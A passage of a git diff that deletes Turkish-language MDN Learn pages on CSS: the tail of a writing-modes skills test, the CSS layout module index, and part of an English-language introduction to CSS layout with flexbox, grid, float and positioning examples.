modu ile görüntülenir. Sağdan sola dikey yazma modunu kullanması için CSS satırı ekleyebilir misiniz? Öreneğiniz aşağıdaki resme benzemelidir.</p> - -<p><img alt="A box with a vertical writing mode" src="https://mdn.mozillademos.org/files/17129/mdn-writing-modes1.png" style="height: 537px; width: 1163px;"></p> - -<p>Örneği resimde gösterildiği gibi yeniden oluşturmak için aşağıdaki canlı kodu düzenlemeyi deneyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/writing-modes/writing-mode.html", '100%', 800)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/writing-modes/writing-mode-download.html">kaynak kodlarının</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="2._Görev">2. Görev</h2> - -<p>Aşağıdaki örnekte, dikey olarak döndürüldüğünde kutunun en boy oranını korumak için <code>width</code> ve <code>height</code> nitelikleri yerine mantıksal nitelikleri kullanın. Nihai sonucunuz resimdeki gibi görünmelidir.</p> - -<p><img alt="Two boxes one horizontal the other vertical" src="https://mdn.mozillademos.org/files/17130/mdn-writing-modes2.png" style="height: 994px; width: 1163px;"></p> - -<p>Örneği resimde gösterildiği gibi yeniden oluşturmak için aşağıdaki canlı kodu düzenlemeyi deneyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/writing-modes/logical-width-height.html", '100%', 1100)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/writing-modes/logical-width-height-download.html">kaynak kodlarının</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="3._Görev">3. Görev</h2> - -<p>Kenar boşluğu, kenarlık ve dolgu özelliklerinin tanımlanması için <code>top</code>, <code>left</code>, <code>bottom</code> ve <code>right</code> yerine mantıksal sürümlerini kullanın. Bunun nasıl görünmesi gerektiğini ağaşıdaki resimde görebilirsiniz.</p> - -<p>Use logical versions of the margin, border, and padding properties so that the edges of the box relate to the text rather than following top, left, bottom and right. You can see how this should look in the image below.</p> - -<p><img alt="Two boxes one horizontal one vertical with different margin, border and padding" src="https://mdn.mozillademos.org/files/17131/mdn-writing-modes3.png" style="height: 704px; width: 1246px;"></p> - -<p>Örneği resimde gösterildiği gibi yeniden oluşturmak için aşağıdaki canlı kodu düzenlemeyi deneyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/writing-modes/logical-mbp.html", '100%', 1100)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/writing-modes/logical-mbp-download.html">kaynak kodlarının</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="Değerlendirme_veya_daha_fazla_yardım">Değerlendirme veya daha fazla yardım</h2> - -<p>Bu örnekleri yukarıda bahsedilen Etkileşimli Editörlerde deneyebilirsiniz.</p> - -<p>Çalışmanizin değerlendirilmesini istiyorsanız veya bir noktada takılıp kaldıysanız ve yardım istemek istiyorsanız:</p> - -<ol> - <li>Çalışmanızı <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi paylaşılabilir bir düzenleyiciye kaydedin. Kodu kendiniz yazabilir veya yukarıdaki bölümlerde bağlantı verilen kaynak kodları kullanabilirsiniz.</li> - <li>Bize <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> değerlendirme ve/veya yardım isteyen bir gönderi yazın. Gönderinizde bulunması gerekenler: - <ul> - <li>"Kutu Modeli Beceri testi 1 için istenen değerlendirme" gibi açıklayıcı bir başlık.</li> - <li>Halihazırda denediklerinizin ve bizden ne yapmamızı istediğinizle ilgili ayrıntılar.</li> - <li>Değerlendirilmek istediğiniz veya yardıma ihtiyaç duyduğunuz kodun çevrimiçi paylaşılabilir düzenleyicide bağlantısı. Göremediğimiz bir kod üzerinde değerlendirme ve/veya yardımda bulunamayız.</li> - <li>Yardım almak istediğiniz soruyu bulabilmemiz için asıl görev veya değerlendirme sayfasına bir bağlantı.</li> - </ul> - </li> -</ol> diff --git a/files/tr/learn/css/css_layout/index.html b/files/tr/learn/css/css_layout/index.html deleted file mode 100644 index a255fa9a34..0000000000 --- a/files/tr/learn/css/css_layout/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: CSS layout -slug: Learn/CSS/CSS_layout -tags: - - Beginner - - CSS - - Floating - - Grids - - Guide - - Landing - - Layout - - Learn - - Module - - Multiple column - - NeedsTranslation - - Positioning - - TopicStub - - flexbox - - float -translation_of: Learn/CSS/CSS_layout -original_slug: Öğren/CSS/CSS_layout ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">Bu noktaya kadar CSS'in temellerini, metnin nasıl şekillendirileceğini ve içeriğinizin iiçnde bulunduğu kutualrı nasıl biçimlendirip değiştireceğinizi inceledik. Bundan sonra, kutularınızı görüntü alanına ve birbirlerine göre doğru yere nasıl yerleştiriceğinize bakacağız. CSS düzenine derinlemesine dalabilmemiz, farklı görüntü ayarlarına, flexbox, CSS ızgarası ve konumlandırma gibi modern düzen araçlarına ve hala bilmek isteyebileceğiniz bazı eski tekniklere bir göz atacağız.</p> - -<div class="callout"> -<h3 id="Bir_Web_ön-uçfront-end_geliştiricisi_mi_olmak_istiyorsun">Bir Web ön-uç(front-end) geliştiricisi mi olmak istiyorsun?</h3> - -<p>Hedefinize ulaşmak için ihtiyacınız olan tüm temel bilgileri içeren bir kurs hazırladık.</p> - -<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Başlayın</a></p> -</div> - -<h2 id="Ön_koşullar">Ön koşullar</h2> - -<p>Bu üniteye başlamdan önce şunları yapmalısınız:</p> - -<ol> - <li><a href="/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> ünitesinde anlatıldığı gibi temel HTML bilgisine sahip olun.</li> - <li><a href="/tr/docs/Öğren/CSS/Introduction_to_CSS">CSS'e Giriş</a> bölümünde anlatıldığı gibi, temel CSS bilgisine sahip olun.</li> - <li><a href="/tr/docs/Öğren/CSS/Styling_boxes">Kutuları şekillendirme</a> hakkında bilgi sahibi olun.</li> -</ol> - -<div class="note"> -<p><strong>Not</strong>: Kendi dosayalrınızı oluşturma yeteneğinizin olmadığı bir bilgisayar/table/başka bir cihaz üzerinde çalışıyorsanız, <a href="http://jsbin.com/">JSBin</a> veya <a href="https://glitch.com/">Glitch</a> gibi bir çevrim içi kodlama programıyla okd örnelerinin çoğunu deneyebilirsiniz.</p> -</div> - -<h2 id="Dersler">Dersler</h2> - -<p>Bu dersler, CSS'de bulunan temel düzen araçları ve teknikleri hakkında talimat sağlayacaktır. Derslerin sonunda, bir web sayfası düzenleyerek düzen yöntemlerini anlamanıza yardımcı olacak değerlendirmelerimiz mevcuttur.</p> - -<dl> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Introduction">CSS mizanpajına giriş</a></dt> - <dd>bu derste, önceki derslerde değindiğimiz bazı CSS mizanpaj özelliklerini — farklı {{cssxref("display")}} nitelik değerleri gibi — özetleyecek ve bu ünite boyunca ele alacağımız bazı kavramları tanıtacağız.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Normal_Flow">Normal akış(Normal Flow)</a></dt> - <dd>Web sayfalarındaki öğeler, biz bunu değiştirmek için bir şeyler yapana kadar kendilerini normal akışa göre düzenler. Bu derste, nasıl değiştirileceğini öğrenmek için normal akışın temellerini açıklayacağız.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Flexbox">Esnek kutular (Flexbox)</a></dt> - <dd><a href="/tr/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox</a>, öğelerin satırlar veya sütunlar halinde yerleştirmek için tek boyutlu bir yerleşim yöntemidir. Öğeler ek alanı doldurmak için esner ve daha küçük alanlara sığacak şekilde küçülür. Bu derste tüm temelleri açıklayacağız. Bu dersi inceledikten sonra, devam etmeden önce anlayıp anlamadığınızı kontrol etmek için <a href="/tr/docs/Öğren/CSS/CSS_layout/Flexbox_skills">flexbox becerilerinizi test</a> edebilirsiniz.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Grids">Izgaralar(Grids)</a></dt> - <dd>CSS Izgara(Grid) düzeni, web için iki boyutlu bir düzen sistemidir. içeriği satırlar ve sütunlar halinde yerleştirmenize olanak tanır ve karmaşık düzenler oluşturmayı kolaylaştıran birçok özelliğe sahiptir. Bu derste size sayfa düzenine başlamak için bilmeniz gereken her şeyi verecek, ardından devam etmeden önce <a href="/tr/docs/Öğren/CSS/CSS_layout/Grid_skills">ızgara(grid) becerilerinizi test</a> edecektir.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Floats">Yüzen nesneler (Floats)</a></dt> - <dd>Başlangıçta metin blokları içerisindeki görüntüleri konumlandırmak için kullanılan {{cssxref("float")}} niteliği, tüm öğelerin konumlandırılması ve web sayfalarıda sütunlar oluşturmak için kullanılan en yaygın araçlardan biri haline geldi. Fakat Flexbox ve Grid'in kullanıma sokulmasıyla, bu derste açıklandığı gibi asıl kullanım amacına geri döndü.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Positioning">Konumlandırma(Positioning)</a></dt> - <dd>Konumlandırma, öğeleri normal belge mizanpajı akışından çıkarmanıza ve bunların farklı şekilde davranmasını sağlar. örn öğelerin birbirinin üstüne durabilmesini ve/veya taryıcı görünüm alanı içinde her zaman aynı konumda kalmasını sağlar. Bu derste farklı {{cssxref("position")}} değerlerinin nasıl kullanılacağını açıklamaktadır.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Multiple-column_Layout">Birden çok sütun düzeni</a></dt> - <dd>Çok sütunlu düzen özelliği, bir gazetede görebileceğiniz gibi, içeriği sütunlar halinde yerleştirmek için bir yöntem sunar. Bu derste, bu özelliğin nasıl kullanılacağını açıklamaktadır.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Responsive_Design">Duyarlı tasarım</a></dt> - <dd>Web özellikli cihazlarda daha çeşitli ekran boyutları ortaya çıktıkça, duyarlı web tasarımı (RWD) kavramı ortaya çıkmıştır: web sayfalarının düzenlerini ve görünümlerini farklı ekran genişliklerine, çözünürlüklerine vb. uyacak şekilde değiştirmesine izin veren bir dizi uygulama. Bir web sayfasının farklı cihazlarda tasarım şeklimizi değiştiren bir fikirdir ve bu derste, bu konuda uzmanlaşmak için bilmeniz gereken ana teknikleri anlamanıza yardımcı olacağız.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Media_queries">Acemiler için medya sorguları klavuzu</a></dt> - <dd><strong>CSS Medya Sorugusu</strong> size, tarayıcı ve cihaz ortamının genişliğinin belirttiğiniz kural ile eşleştiğinde uygulamak istediğiniz CSS tanımlarını uygulamanıza olanak tanır. Ortam sorguları, görüntü alanının boyutuna bağlı olarak farklı düzenler oluşturmanıza olanak sağladığından, duyarlı web tasarımının önemli bir parçasıdır, ayrıca sitenizin üzerinde çalıştığı ortamla ilgili diğer bilgileride size sağlayabilir, örneğin kullanıcı fare yerine dokunmatik ekran kullanıyor. Bu derste önce medya sorgualraında kullanılan sözdizimi hakkında bilgi edinecek ve ardından bunları basit bir tasarımın nasıl duyarlı hale getirilebileceğini gösteren işlenmiş bir örnekte kullanmayı deneyeceksiniz.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Legacy_Layout_Methods">Eski düzen yönetmleri</a></dt> - <dd>Izgara sistemleri, CSS mizanpajlarında kullanılan çok yaygın bir özelliktir ve CSS Grid Layout'tan önce kayan öğeler veya diğer mizanpaj özelliklerinde kullanılmaktaydılar. Düzeninizi belirli sayıda sütun (örneğin 4, 6 veya 12) olarak hayal edin ve ardından içerik sütunlarınızı bu hayali sütunların içine sığdırın. Bu derste, daha eski bir projede çalışıyorsanız nasıl kullanıldığını anlamanız için bu eski yöntemlerin nasıl çalıştığını inceleyceğiz.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Supporting_Older_Browsers">Eski tarayıcıları desteklemek</a></dt> - <dd>Bu derste, tasarımlarınız için ana yerleşim yöntemleri olarak Flexbox ve Grid'i kullanmanızı öneririz. Bununla birlikte, sitenize, kullandığınız yöntemleri desteklemeyen eski tarayıcıları kulllanan ziyaretçiler olacaktır. Bu, web'de her zaman geçerli olacaktır — yani özellikler geliştirildikçe, farklı tarayıcılar farklı şeylere öncelik verecektir. Bu derste, eski teknoloji kullanıcılarını engellemeden modern web tekniklerinin nasıl kullanılacağını açıklamaktadır.</dd> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Fundamental_Layout_Comprehension">Değerlendirme: Temel düzeni anlama</a></dt> - <dd>Bir web sayfası düzenleyerek farklı düzen yöntemlerini hakkındaki bilginizi test etmek için bir değerlendirme.</dd> -</dl> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<dl> - <dt><a href="/tr/docs/Öğren/CSS/CSS_layout/Practical_positioning_examples">Pratik konumlandırma örnekleri</a></dt> - <dd>Bu derst, konumlandırmayla ne tür şeyler yapabilceğinizi göstermek için bazı gerçek dünya örneklerini nasıl oluşturacağınızı gösterir.</dd> -</dl> diff --git a/files/tr/learn/css/css_layout/introduction/index.html b/files/tr/learn/css/css_layout/introduction/index.html deleted file mode 100644 index ba84909907..0000000000 --- a/files/tr/learn/css/css_layout/introduction/index.html +++ /dev/null @@ -1,708 +0,0 @@ ---- -title: CSS mizanpajına giriş -slug: Learn/CSS/CSS_layout/Introduction -translation_of: Learn/CSS/CSS_layout/Introduction -original_slug: Öğren/CSS/CSS_layout/Introduction ---- -<div>{{LearnSidebar}}</div> - -<div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div> - -<p class="summary">This article will recap some of the CSS layout features we've already touched upon in previous modules — such as different {{cssxref("display")}} values — and introduce some of the concepts we'll be covering throughout this module.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>The basics of HTML (study <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), and an idea of How CSS works (study <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To give you an overview of CSS page layout techniques. Each technique can be learned in greater detail in subsequent tutorials.</td> - </tr> - </tbody> -</table> - -<p>CSS page layout techniques allow us to take elements contained in a web page and control where they are positioned relative to their default position in normal layout flow, the other elements around them, their parent container, or the main viewport/window. The page layout techniques we'll be covering in more detail in this module are</p> - -<ul> - <li>Normal flow</li> - <li>The {{cssxref("display")}} property</li> - <li>Flexbox</li> - <li>Grid</li> - <li>Floats</li> - <li>Positioning</li> - <li>Table layout</li> - <li>Multiple-column layout</li> -</ul> - -<p>Each technique has its uses, advantages, and disadvantages, and no technique is designed to be used in isolation. By understanding what each method is designed for you will be in a good place to understand which is the best layout tool for each task.</p> - -<h2 id="Normal_flow">Normal flow</h2> - -<p>Normal flow is how the browser lays out HTML pages by default when you do nothing to control page layout. Let's look at a quick HTML example:</p> - -<pre class="brush: html notranslate"><p>I love my cat.</p> - -<ul> - <li>Buy cat food</li> - <li>Exercise</li> - <li>Cheer up friend</li> -</ul> - -<p>The end!</p></pre> - -<p>By default, the browser will display this code as follows:</p> - -<p>{{ EmbedLiveSample('Normal_flow', '100%', 200) }}</p> - -<p>Note here how the HTML is displayed in the exact order in which it appears in the source code, with elements stacked up on top of one another — the first paragraph, followed by the unordered list, followed by the second paragraph.</p> - -<p>The elements that appear one below the other are described as <em>block</em> elements, in contrast to <em>inline</em> elements, which appear one beside the other, like the individual words in a paragraph.</p> - -<div class="note"> -<p><strong>Note</strong>: The direction in which block element contents are laid out is described as the Block Direction. The Block Direction runs vertically in a language such as English, which has a horizontal writing mode. It would run horizontally in any language with a Vertical Writing Mode, such as Japanese. The corresponding Inline Direction is the direction in which inline contents (such as a sentence) would run.</p> -</div> - -<p>For many of the elements on your page the normal flow will create exactly the layout you need, however for more complex layouts you will need to alter this default behavior using some of the tools available to you in CSS. Starting with a well-structured HTML document is very important, as you can then work with the way things are laid out by default rather than fighting against it.</p> - -<p>The methods that can change how elements are laid out in CSS are as follows:</p> - -<ul> - <li><strong>The {{cssxref("display")}} property</strong> — Standard values such as <code>block</code>, <code>inline</code> or <code>inline-block</code> can change how elements behave in normal flow, for example making a block-level element behave like an inline element (see <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Types of CSS boxes</a> for more information). We also have entire layout methods that are switched on via specific <code>display</code> values, for example <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">CSS Grid</a> and <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, which alter how elements inside the element they are set on are laid out.</li> - <li><strong>Floats</strong> — Applying a {{cssxref("float")}} value such as <code>left</code> can cause block level elements to wrap alongside one side of an element, like the way images sometimes have text floating around them in magazine layouts.</li> - <li><strong>The {{cssxref("position")}} property</strong> — Allows you to precisely control the placement of boxes inside other boxes. <code>static</code> positioning is the default in normal flow, but you can cause elements to be laid out differently using other values, for example always fixed to the top of the browser viewport.</li> - <li><strong>Table layout</strong> — features designed for styling the parts of an HTML table can be used on non-table elements using <code>display: table</code> and associated properties.</li> - <li><strong>Multi-column layout</strong> — The <a href="/en-US/docs/Web/CSS/CSS_Columns">Multi-column layout</a> properties can cause the content of a block to layout in columns, as you might see in a newspaper.</li> -</ul> - -<h2 id="The_display_property">The display property</h2> - -<p>The main methods of achieving page layout in CSS are all values of the <code>display</code> property. This property allows us to change the default way something displays. Everything in normal flow has a value of <code>display</code>, used as the default way that elements they are set on behave. For example, the fact that paragraphs in English display one below the other is due to the fact that they are styled with <code>display: block</code>. If you create a link around some text inside a paragraph, that link remains inline with the rest of the text, and doesn’t break onto a new line. This is because the {{htmlelement("a")}} element is <code>display: inline</code> by default.</p> - -<p>You can change this default display behavior. For example, the {{htmlelement("li")}} element is <code>display: block</code> by default, meaning that list items display one below the other in our English document. If we change the display value to <code>inline</code> they now display next to each other, as words would do in a sentence. The fact that you can change the value of <code>display</code> for any element means that you can pick HTML elements for their semantic meaning, without being concerned about how they will look. The way they look is something that you can change.</p> - -<p>In addition to being able to change the default presentation by turning an item from <code>block</code> to <code>inline</code> and vice versa, there are some bigger layout methods that start out as a value of <code>display</code>. However, when using these, you will generally need to invoke additional properties. The two values most important for our purposes when discussing layout are <code>display: flex</code> and <code>display: grid</code>.</p> - -<h2 id="Flexbox">Flexbox</h2> - -<p>Flexbox is the short name for the <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a> Module, designed to make it easy for us to lay things out in one dimension — either as a row or as a column. To use flexbox, you apply <code>display: flex</code> to the parent element of the elements you want to lay out; all its direct children then become flex items. We can see this in a simple example.</p> - -<p>The HTML markup below gives us a containing element, with a class of <code>wrapper</code>, inside which are three {{htmlelement("div")}} elements. By default these would display as block elements, below one another, in our English language document.</p> - -<p>However, if we add <code>display: flex</code> to the parent, the three items now arrange themselves into columns. This is due to them becoming <em>flex items</em> and being affected by some initial values that flexbox sets on the flex container. They are displayed in a row, because the initial value of {{cssxref("flex-direction")}} set on their parent is <code>row</code>. They all appear to stretch to the height of the tallest item, because the initial value of the {{cssxref("align-items")}} property set on their parent is <code>stretch</code>. This means that the items stretch to the height of the flex container, which in this case is defined by the tallest item. The items all line up at the start of the container, leaving any extra space at the end of the row.</p> - -<div id="Flex_1"> -<div class="hidden"> -<h6 id="Flexbox_Example_1">Flexbox Example 1</h6> - -<pre class="brush: css notranslate">* {box-sizing: border-box;} - -.wrapper > div { - border-radius: 5px; - background-color: rgb(207,232,220); - padding: 1em; -} - </pre> -</div> - -<pre class="brush: css notranslate">.wrapper { - display: flex; -} -</pre> - -<pre class="brush: html notranslate"><div class="wrapper"> - <div class="box1">One</div> - <div class="box2">Two</div> - <div class="box3">Three</div> -</div> -</pre> -</div> - -<p>{{ EmbedLiveSample('Flex_1', '300', '200') }}</p> - -<p>In addition to the above properties that can be applied to the flex container, there are properties that can be applied to the flex items. These properties, among other things, can change the way that the items flex, enabling them to expand and contract to fit into the available space.</p> - -<p>As a simple example of this, we can add the {{cssxref("flex")}} property to all of our child items, with a value of <code>1</code>. This will cause all of the items to grow and fill the container, rather than leaving space at the end. If there is more space then the items will become wider; if there is less space they will become narrower. In addition, if you add another element to the markup the items will all become smaller to make space for it — they will adjust size to take up the same amount of space, whatever that is.</p> - -<div id="Flex_2"> -<div class="hidden"> -<h6 id="Flexbox_Example_2">Flexbox Example 2</h6> - -<pre class="brush: css notranslate"> * {box-sizing: border-box;} - - .wrapper > div { - border-radius: 5px; - background-color: rgb(207,232,220); - padding: 1em; - } - </pre> -</div> - -<pre class="brush: css notranslate">.wrapper { - display: flex; -} - -.wrapper > div { - flex: 1; -} -</pre> - -<pre class="brush: html notranslate"><div class="wrapper"> - <div class="box1">One</div> - <div class="box2">Two</div> - <div class="box3">Three</div> -</div> -</pre> -</div> - -<p>{{ EmbedLiveSample('Flex_2', '300', '200') }}</p> - -<div class="note"> -<p><strong>Note</strong>: This has been a very short introduction to what is possible in Flexbox, to find out more, see our <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> article.</p> -</div> - -<h2 id="Grid_Layout">Grid Layout</h2> - -<p>While flexbox is designed for one-dimensional layout, Grid Layout is designed for two dimensions — lining things up in rows and columns.</p> - -<p>Once again, you can switch on Grid Layout with a specific value of display — <code>display: grid</code>. The below example uses similar markup to the flex example, with a container and some child elements. In addition to using <code>display: grid</code>, we are also defining some row and column tracks on the parent using the {{cssxref("grid-template-rows")}} and {{cssxref("grid-template-columns")}} properties respectively. We've defined three columns each of <code>1fr</code> and two rows of <code>100px</code>. I don’t need to put any rules on the child elements; they are automatically placed into the cells our grid has created.</p> - -<div id="Grid_1"> -<div class="hidden"> -<h6 id="Grid_example_1">Grid example 1</h6> - -<pre class="brush: css notranslate"> * {box-sizing: border-box;} - - .wrapper > div { - border-radius: 5px; - background-color: rgb(207,232,220); - padding: 1em; - } - </pre> -</div> - -<pre class="brush: css notranslate">.wrapper { - display: grid; - grid-template-columns: 1fr 1fr 1fr; - grid-template-rows: 100px 100px; - grid-gap: 10px; -} -</pre> - -<pre class="brush: html notranslate"><div class="wrapper"> - <div class="box1">One</div> - <div class="box2">Two</div> - <div class="box3">Three</div> - <div class="box4">Four</div> - <div class="box5">Five</div> - <div class="box6">Six</div> -</div> -</pre> -</div> - -<p>{{ EmbedLiveSample('Grid_1', '300', '330') }}</p> - -<p>Once you have a grid, you can explicitly place your items on it, rather than relying on the auto-placement behavior seen above. In the second example below we have defined the same grid, but this time with three child items. We've set the start and end line of each item using the {{cssxref("grid-column")}} and {{cssxref("grid-row")}} properties. This causes the items to span multiple tracks.</p> - -<div id="Grid_2"> -<div class="hidden"> -<h6 id="Grid_example_2">Grid example 2</h6> - -<pre class="brush: css notranslate"> * {box-sizing: border-box;} - - .wrapper > div { - border-radius: 5px; - background-color: rgb(207,232,220); - padding: 1em; - } - </pre> -</div> - -<pre class="brush: css notranslate">.wrapper { - display: grid; - grid-template-columns: 1fr 1fr 1fr; - grid-template-rows: 100px 100px; - grid-gap: 10px; -} - -.box1 { - grid-column: 2 / 4; - grid-row: 1; -} - -.box2 { - grid-column: 1; - grid-row: 1 / 3; -} - -.box3 { - grid-row: 2; - grid-column: 3; -} -</pre> - -<pre class="brush: html notranslate"><div class="wrapper"> - <div class="box1">One</div> - <div class="box2">Two</div> - <div class="box3">Three</div> -</div> -</pre> -</div> - -<p>{{ EmbedLiveSample('Grid_2', '300', '330') }}</p> - -<div class="note"> -<p><strong>Note</strong>: These two examples are just a small part of the power of Grid layout; to find out more see our <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid Layout</a> article.</p> -</div> - -<p>The rest of this guide covers other layout methods, which are less important for the main layout structures of your page but can still help you achieve specific tasks. By understanding the nature of each layout task, you will soon find that when you look at a particular component of your design the type of layout best suited to it will often be clear.</p> - -<h2 id="Floats">Floats</h2> - -<p>Floating an element changes the behavior of that element and the block level elements that follow it in normal flow. The element is moved to the left or right and removed from normal flow, and the surrounding content floats around the floated item.</p> - -<p>The {{cssxref("float")}} property has four possible values:</p> - -<ul> - <li><code>left</code> — Floats the element to the left.</li> - <li><code>right</code> — Floats the element to the right.</li> - <li><code>none</code> — Specifies no floating at all. This is the default value.</li> - <li><code>inherit</code> — Specifies that the value of the <code>float</code> property should be inherited from the element's parent element.</li> -</ul> - -<p>In the example below we float a <code><div></code> left, and give it a {{cssxref("margin")}} on the right to push the text away from the element. This gives us the effect of text wrapped around that box, and is most of what you need to know about floats as used in modern web design.</p> - -<div id="Float_1"> -<div class="hidden"> -<h6 id="Floats_example">Floats example</h6> - -<pre class="brush: css notranslate">body { - width: 90%; - max-width: 900px; - margin: 0 auto; -} - -p { - line-height: 2; - word-spacing: 0.1rem; -} - -.box { - background-color: rgb(207,232,220); - border: 2px solid rgb(79,185,227); - padding: 10px; - border-radius: 5px; -} -</pre> -</div> - -<pre class="brush: html notranslate"><h1>Simple float example</h1> - -<div class="box">Float</div> - -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - -</pre> - -<pre class="brush: css notranslate"> -.box { - float: left; - width: 150px; - height: 150px; - margin-right: 30px; -} -</pre> -</div> - -<p>{{ EmbedLiveSample('Float_1', '100%', 600) }}</p> - -<div class="note"> -<p><strong>Note</strong>: Floats are fully explained in our lesson on the <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">float and clear</a> properties. Prior to techniques such as Flexbox and Grid Layout floats were used as a method of creating column layouts. You may still come across these methods on the web; we will cover these in the lesson on <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">legacy layout methods</a>.</p> -</div> - -<h2 id="Positioning_techniques">Positioning techniques</h2> - -<p>Positioning allows you to move an element from where it would be placed when in normal flow to another location. Positioning isn’t a method for creating your main page layouts, it is more about managing and fine-tuning the position of specific items on the page.</p> - -<p>There are however useful techniques for certain layout patterns that rely on the {{cssxref("position")}} property. Understanding positioning also helps in understanding normal flow, and what it is to move an item out of normal flow.</p> - -<p>There are five types of positioning you should know about:</p> - -<ul> - <li><strong>Static positioning</strong> is the default that every element gets — it just means "put the element into its normal position in the document layout flow — nothing special to see here".</li> - <li><strong>Relative positioning</strong> allows you to modify an element's position on the page, moving it relative to its position in normal flow — including making it overlap other elements on the page.</li> - <li><strong>Absolute positioning</strong> moves an element completely out of the page's normal layout flow, like it is sitting on its own separate layer. From there, you can fix it in a position relative to the edges of the page's <code><html></code> element (or its nearest positioned ancestor element). This is useful for creating complex layout effects such as tabbed boxes where different content panels sit on top of one another and are shown and hidden as desired, or information panels that sit off screen by default, but can be made to slide on screen using a control button.</li> - <li><strong>Fixed positioning</strong> is very similar to absolute positioning, except that it fixes an element relative to the browser viewport, not another element. This is useful for creating effects such as a persistent navigation menu that always stays in the same place on the screen as the rest of the content scrolls.</li> - <li><strong>Sticky positioning</strong> is a newer positioning method which makes an element act like <code>position: static</code> until it hits a defined offset from the viewport, at which point it acts like <code>position: fixed</code>.</li> -</ul> - -<h3 id="Simple_positioning_example">Simple positioning example</h3> - -<p>To provide familiarity with these page layout techniques, we'll show you a couple of quick examples. Our examples will all feature the same HTML, which is as follows:</p> - -<pre class="brush: html notranslate"><h1>Positioning</h1> - -<p>I am a basic block level element.</p> -<p class="positioned">I am a basic block level element.</p> -<p>I am a basic block level element.</p></pre> - -<p>This HTML will be styled by default using the following CSS:</p> - -<pre class="brush: css notranslate">body { - width: 500px; - margin: 0 auto; -} - -p { - background-color: rgb(207,232,220); - border: 2px solid rgb(79,185,227); - padding: 10px; - margin: 10px; - border-radius: 5px; -} -</pre> - -<p>The rendered output is as follows:</p> - -<p>{{ EmbedLiveSample('Simple_positioning_example', '100%', 300) }}</p> - -<h3 id="Relative_positioning">Relative positioning</h3> - -<p>Relative positioning allows you to offset an item from the position in normal flow it would have by default. This means you could achieve a task such as moving an icon down a bit so it lines up with a text label. To do this, we could add the following rule to add relative positioning:</p> - -<pre class="brush: css notranslate">.positioned { - position: relative; - top: 30px; - left: 30px; -}</pre> - -<p>Here we give our middle paragraph a {{cssxref("position")}} value of <code>relative</code> — this doesn't do anything on its own, so we also add {{cssxref("top")}} and {{cssxref("left")}} properties. These serve to move the affected element down and to the right — this might seem like the opposite of what you were expecting, but you need to think of it as the element being pushed on its left and top sides, which result in it moving right and down.</p> - -<p>Adding this code will give the following result:</p> - -<div id="Relative_1"> -<div class="hidden"> -<h6 id="Relative_positioning_example">Relative positioning example</h6> - -<pre class="brush: html notranslate"><h1>Relative positioning</h1> - -<p>I am a 